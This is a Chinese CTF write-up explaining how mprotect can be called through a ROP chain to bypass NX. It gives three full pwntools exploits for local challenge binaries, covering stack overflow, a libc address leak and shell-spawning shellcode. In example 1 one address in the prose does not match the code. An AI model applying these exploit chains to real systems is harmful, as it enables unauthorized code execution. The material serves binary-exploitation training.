1:mprotect函数是什么?
它是由rdi rsi rdx 三个参数构成(64elf),或者由ebx ecx edx三个参数构成(32elf)。mprotect(addr,length,prot)括号内分别为地址,读入长度,权限。同时也对应着三个参数。
2:mprotect函数的用途。
mprotect()函数可以用来修改一段指定内存区域的保护属性。简单地说就是在一些题目开启NX保护后可以通过这个函数来绕过NX.
3:实例1ctfshow49
查看保护
发现开启NX
ida分析
主函数除了logo只有一个read函数供我们使用v1距离返回地址距离0x16处。思路来了:利用mprotect函数将我们目标读入shellcode处改为可执行的,然后执行shellcode。
详解:找到bss段地址为0x602050,我们将其后三位改成0方便获取更多的空间读入shellcode
即bss=0x602000
通过gadget找到一个含有三个pop一个ret指令的地址,我们要通过这个指令将mprotect函数原来的参数pop走,让我们能够填入我们想要的参数.pop_ebx_esi_ebp_ret=0x80a019b然后就是构造payload了先上代码
from pwn import*
context(arch='i386',os='linux',log_level='debug')
io=process("./49")
elf=ELF('./49')
pop=0x80a019b
bss=0x80DA000
payload=b'a'*22 +p32(elf.sym['mprotect'])+p32(pop) +p32(bss) +p32(0x1000) +p32(7)
payload+=p32(elf.sym['read'])+p32(pop)+p32(0)+p32(bss)+p32(0x1000)+p32(bss)
io.sendline(payload)
shellcode=asm(shellcraft.sh())
pause()
io.sendline(shellcode)
io.interactive()
pay=溢出+返回地址1+参数2+返回地址2+参数2.因为是32位程序先调用函数再传参。
所以payload的意思就是先调用mprotect函数通过pop将原本的参数覆盖为我们想要的参数,然后返回到read函数,然后pop弹掉read的参数,把第二个参数改为bss的地址,读入shellcode。最后再返回到bss段执行shellcode。注:p32(7)在这里意思是改为rwx可读可写可执行的意思
4:实例2
main函数有一个gets函数存在溢出,并且通过为静态编译文件,同时开启NX保护
思路:用mprotect函数将bss段改为rwx,然后往里面读入shellcode即可获取shell.上exp
from pwn import *
p=process("./pwn3")
elf=ELF("./pwn3")
mprotect=0x4353E0
bss=0x6C1C40
rdi=0x00000000004016c3
rsi=0x00000000004017d7
rdx=0x00000000004377d5
read=0x434860
p.recvuntil("where is my system_x64?")
pay=b'a'*(0x50+8)+p64(rdi)+p64(0x6C1000)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)+p64(mprotect)+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x100)+p64(read)+p64(bss)
p.sendline(pay)
pause()
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
这题是64位的所以着重讲一下pay的构造。先是溢出操作,然后一个mprotect的相应寄存器一个参数然后调用mprotect函数,接着就是read函数的构造最后返回到bss段执行shellcode
此外,本题还有另外一种解题思路就是因为存在gets函数,以及是静态编译文件可以使用
ROPgadget --binary 文件名 --ropchain让它给你生成一个payload
我们只需要填充垃圾数据就行(这种方法因为简便,目前我很少见类似题目)
5:实例3
ctfshow50
ida分析只有一个gets函数存在溢出距离返回地址40
和上题思路一样,但是ida中不存在mprotect函数,后面的gadget也少了pop_rsi_ret和pop_rdx_ret的指令。所以我们需要先按照libc的思路将libc的基址泄露出来然后计算偏移得到我们需要的函数和pop指令。先上exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=process("./50")
elf = ELF('./50')
main_addr=0x400637
bss=0x602000
pop=0x4007df
rdi=0x4007e3
p.recvuntil('Hello CTFshow\n')
payload=b'a'*40+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main_addr)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
mprotect = libc_base + libc.symbols['mprotect']
read=libc_base+libc.symbols['read']
rsi=0x000000000002601f+libc_base
rdx=0x0000000000119431+libc_base
p.recvuntil('Hello CTFshow\n')
pay=b'a'*40+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)*2+p64(mprotect)+p64(rdi)+p64(bss)+p64(elf.plt['gets'])+p64(bss)
pause()
p.sendline(pay)
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
因为题目没有相关参数的gadget所以我们查询的是libc文件中的指令,将libc中rsi或rdx的地址加上libc_base就是真实地址。
pay=参数+参数+参数+返回地址1+参数+参数+参数+返回地址2+返回地址3(shellcode处)即64位构造payload先构造参数,再调用函数。
注:这里的rdx是pop_rdx|pop_r12_ret这个和pop_rdx_ret效果一样。所以只需要填充一个p64(7)再随便填充一个数据给r12寄存器,而用pop_rdx|pop_r12_ret不用后者是因为前者适合更多libc版本
6:总结
在本次使用mprotect函数中,主要就是mprotect函数的参数以及payload的构造的理解。
如果以上文章有不足和错误处请通知我,我是菜鸡可能搞错了。